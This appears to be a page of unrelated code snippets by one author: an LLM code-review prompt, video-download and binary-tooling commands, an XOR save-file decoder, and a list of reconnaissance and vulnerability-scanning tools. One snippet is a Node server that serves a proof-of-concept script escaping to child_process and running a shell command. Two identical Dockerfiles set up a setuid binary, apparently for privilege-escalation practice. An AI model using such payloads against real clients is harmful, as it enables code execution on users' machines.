Kirill89

You are a senior software engineer performing a thorough code review on a set of changes between a feature branch and the main branch.

CONTEXT

• The code shown represents the diff between the feature branch and main.
• Focus only on what has changed compared to main, including new, modified, and deleted code.
• Assume that any change here may impact other modules, services, and external clients that depend on this code.

TASK 1 – HIGH-LEVEL CHANGES SUMMARY

Kirill89

import * as http from 'node:http';
const server = http.createServer((req, res) => {
  res.end(`<script>
    this.constructor.constructor("return import('node:child_process')")().then((cp) => {
      console.log(cp.execSync('whoami').toString().trim());
    });
  </script>`);
});
server.listen(8765);

Kirill89

# For the URL https://share.vidyard.com/watch/ySQXtKoGAXS656HscU4yNe

curl https://play.vidyard.com/player/ySQXtKoGAXS656HscU4yNe.json | jq -r '.payload.chapters |.[0].sources.mp4 |.[0].url' > 1.txt && curl -H "Referer: https://play.vidyard.com/ySQXtKoGAXS656HscU4yNe" -vvv $(cat 1.txt) > 111.mp4

Kirill89

1. https://github.com/projectdiscovery/subfinder – a subdomain discovery tool
2. https://github.com/owasp-amass/amass – asset discovery
3. https://github.com/nmap/nmap – port enumiration
4. https://github.com/projectdiscovery/httpx – HTTP toolkit (server discovery)
5. https://github.com/tomnomnom/waybackurls – discover known URLs from Wayback Machine
6. https://github.com/lc/gau – discover known URLs from Wayback Machine and so on
7. https://github.com/trufflesecurity/trufflehog – secrets detection
8. https://github.com/projectdiscovery/nuclei – known vulnerabilities
9. https://github.com/ffuf/ffuf + https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content – discover hidden folders
10. https://github.com/OJ/gobuster – discover hidden folders

Kirill89

import path from 'node:path';
import {fileURLToPath} from 'node:url';

const SCRIPT_FOLDER = path.dirname(fileURLToPath(import.meta.url));
const DATA_FOLDER = path.join(SCRIPT_FOLDER, 'data');

Kirill89

/*
// Usage example:

async function scrapeUrl() {
  // ...
}
const urls = ['http://foo.com', 'http://bar.com', 'more URLs...'];

// Scrape all URLs with maximun 10 in parralel.
const scrapeUrlLimit = limit(10, scrapeUrl);

Kirill89

const fs = require('fs');

let data = fs.readFileSync('IRONCLAD.autosave.json', 'utf8');
const out = [];

for (let i = 0; i < data.length; i++) {
    const key = 'key';
    out.push(data.charCodeAt(i) ^ key.charCodeAt(i % key.length));
}

Kirill89

# Using libtool, lipo, ar and otool

lipo -info input.a

lipo -extract_family arm64 -output output.a input.a

# output.a is a fat file (use libtool(1) or lipo(1) and ar(1) on it)
# lipo output.a -thin arm64 -output output_arm64.a

ar -x output_arm64.a

Kirill89

FROM ubuntu:18.04

COPY ./app /app
RUN chmod u+s /app

RUN useradd -s /bin/bash just-user
USER just-user

Kirill89

FROM ubuntu:18.04

COPY ./app /app
RUN chmod u+s /app

RUN useradd -s /bin/bash just-user
USER just-user